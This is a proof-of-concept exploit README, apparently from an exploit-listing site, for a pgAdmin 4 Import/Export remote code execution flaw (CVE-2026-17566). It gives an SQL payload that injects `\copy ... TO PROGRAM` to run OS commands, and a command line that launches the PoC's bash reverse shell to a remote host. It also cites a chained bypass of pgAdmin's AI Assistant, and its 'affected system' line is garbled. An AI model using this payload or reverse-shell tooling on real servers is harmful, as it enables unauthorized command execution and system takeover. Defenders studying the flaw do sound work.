## https://sploitus.com/exploit?id=97F5A647-F181-5CED-9D5D-C6122986AA2C
# CVE-2026-17566 — pgAdmin 4 Import/Export Data RCE PoC
The **pgAdmin 4 Import/Export Data** tool allows for remote code execution. By leveraging the **parenthesis checker** and **semantic differences in backslash escaping** between psql, an injection of `\copy ... TO PROGRAM` can execute arbitrary commands on servers running pgAdmin.
> **Background attack chain:** CVE-2026-17349 (Workspaces credential leakage) → CVE-2026-17351 (AI Assistant read-only bypass) → **This vulnerability (RCE)**. All three vulnerabilities require only low-privilege authenticated users to exploit them.
## Description of the vulnerability
The **Import/Export Data** tool inserts user SQL into Jinja templates, constructing the `psql \copy (...)` command. The handwritten parenthesis balancer **always treats `\'` as escaped quotes** (only correctly when `standard_conforming_strings=off`). However, in PostgreSQL, where `standard_conforming_strings=on` is default, **psql treats backslashes as ordinary characters**, and quotes are closed directly.
```sql
-- Example payload
SELECT 'a\') TO PROGRAM ' echo "pwned"
```
The balancer considers `)` to be still within a string, so the “parenthesis balance” passes. psql closes the string at `a\'`, and `)` ends `\copy (...)`, making `"TO PROGRAM 'cmd'` a valid command, executed by psql’s `popen()` function**.
- **CWE**: CWE-78 (OS command injection), CWE-115 (Input misinterpretation)
- **CVSS**: 9.9 (CVSS 3.1), 9.4 (CVSS 4.0); scope changed, low privileges, no interaction required
- **Affected system**: pgAdmin 4 **/tmp/pgadmin_rce_proof**
## Reverse shell
```bash
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --reverse 10.0.0.1:4555
```
| Parameter | Description |
|---|---|
| `--url` | Base URL of pgAdmin |
| `--user` / `--password` (or `PGADMIN_PASSWORD`) | Low-privilege account |
| `--command` | Arbitrary command (no single quotes allowed) |
| `--reverse HOST:PORT` | Generates a bash reverse shell |
| `--server-id` | Server ID (default is the first one automatically assigned) |
| `--file` | Name of the exported file (used to construct `\copy` command, default `/tmp/pgadmin_export.csv`) |
| `--no-verify` | Skips TLS certificate verification |
**Process**: Log in (automatically handles CSRF/session); enumerate the server; submit the constructed `is_query_export` request via `POST /import_export/job/`.
## ⚠️ Disclaimer
This script is intended only for security research, vulnerability validation, and defensive testing. It’s based on analysis of public data; it hasn’t been tested on real machines. Request fields may need to be adjusted according to the target pgAdmin version. Please run this script in a authorized test environment; do not use it on unauthorized systems.
## References
- This repository contains a self-written PoC (MIT License); technical basis comes from public sources.
- Official Issue #10213: **Parenthesis checker’s backslash semantic errors** (https://github.com/pgadmin-org/pgadmin4/issues/10213)
- OpenCVE: **CVE-2026-17566** (https://app.opencve.io/cve/CVE-2026-17566)
- NVD: **CVE-2026-17566** (https://nvd.nist.gov/vuln/detail/CVE-2026-17566)
- Fix commit: **1496fabe** (https://github.com/pgadmin-org/pgadmin4/commit/1496fabe28c9f825f6bac0f0d000d9d3276322c3)